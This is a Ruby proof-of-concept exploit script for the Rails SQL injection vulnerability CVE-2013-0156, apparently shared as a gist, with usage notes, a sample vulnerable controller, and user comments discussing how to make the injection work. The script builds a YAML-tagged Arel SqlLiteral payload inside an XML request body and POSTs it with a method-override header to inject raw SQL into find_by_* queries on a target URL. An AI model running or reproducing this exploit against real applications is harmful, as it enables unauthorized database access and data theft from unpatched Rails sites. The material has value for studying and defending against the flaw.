Proof-of-Concept exploit for Rails SQL Injection (CVE-2013-0156)

rails_sqli.rb

#!/usr/bin/env ruby
#
# Proof-of-Concept exploit for Rails SQL Injection (CVE-2013-0156)
#
# ## Advisory
#
#   https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
#
# ## Caveats
#
# * Only find_by_*() methods that are passed params are vulnerable.
#
# ## Synopsis
#
#   $ rails_sqli.rb URL PARAM SQL
#
# ## Dependencies
#
#   $ gem install ronin-support
#
# ## Example
#
#   $ rails_sqli.rb http://localhost:3000/secrets/search secret
#
# ### config/routes.rb
#
#   resources :secrets do
#     collection do
#       post :search
#     end
#   end
#
# ### app/controllers/secrets_controller.rb
#
#   def search
#     @secret = secret.find_by_secret(params[:secret])
#
#     render :json => @secret
#   end
#
# ## License
#
# Copyright (c) 2013 Postmodern
#
# This exploit is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This exploit is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this exploit.  If not, see <http://www.gnu.org/licenses/>.
#
# ## Shoutz
#
# drraid, cd, px, sanitybit, sysfail, trent, dbcooper, goldy, coderman, letch,
# starik, toby, jlt, HockeyInJune, cloud, zek, natron, amesc, postmodern,
# mephux, nullthreat, evoltech, flatline, r0bglesson, @ericmonti, @bascule,
# @charliesome, @homakov, @envygeek, @chendo, @bitsweat (for creating the vuln),
# @tenderlove (for fixing it), Fun Town Auto, garbage pail kids, hipsters,
# the old Jolly Inn, Irvin Santiago, that heavy metal dude who always bummed
# cigarettes off us, SophSec crew and affiliates.
#

require 'ronin/network/http'
require 'ronin/formatting/html'
require 'ronin/ui/output'

include Ronin::Network::HTTP
include Ronin::UI::Output::Helpers

unless ARGV.length == 3
  $stderr.puts "usage: #{$0} URL PARAM SQL"
  exit -1
end

url   = ARGV[0]
param = ARGV[1]
sql   = ARGV[2]

yaml = "--- !ruby/string:Arel::Nodes::SqlLiteral #{sql.dump}"

xml = %{
<?xml version="1.0" encoding="UTF-8"?>
<#{param} type="yaml">#{yaml.html_escape}</#{param}>
}.strip

print_info "POSTing SQLi to #{url} ..."

response = http_post(
  :url       => url,
  :headers   => {
    :content_type           => 'text/xml',
    :x_http_method_override => 'get'
  },
  :body      => xml
)

print_debug "Received #{response.code} response"

case response.code
when '200' then print_info  "Success!"
when '404' then print_error "Not found"
when '500' then print_error "Error!"
end

Can you tell me how do you use Arel::Nodes::SqlLiteral to attack find_by_secret? Thanks

Add a comma at the end of line 96.

@mephux newb mistake. thanks for catching that.

@bachue checkout the lengthy write up. Basically Arel::Nodes::SqlLiteral represents raw SQL that is dumped into the resulting SQL expression.

@postmodern could you give an example please? I found that whatever SQL I passed, was being treated as the value for the param, in this case secret => OR NULL. I was unable to interpolate quotation marks as these were being stripped out and kept running into 'column does not exist' errors?

My example worked on a /posts/search route acting on @posts = Post.find_by_name(params[:name]). Therefore, I need to pass a string + extra SQL I wish to inject. Thoughts?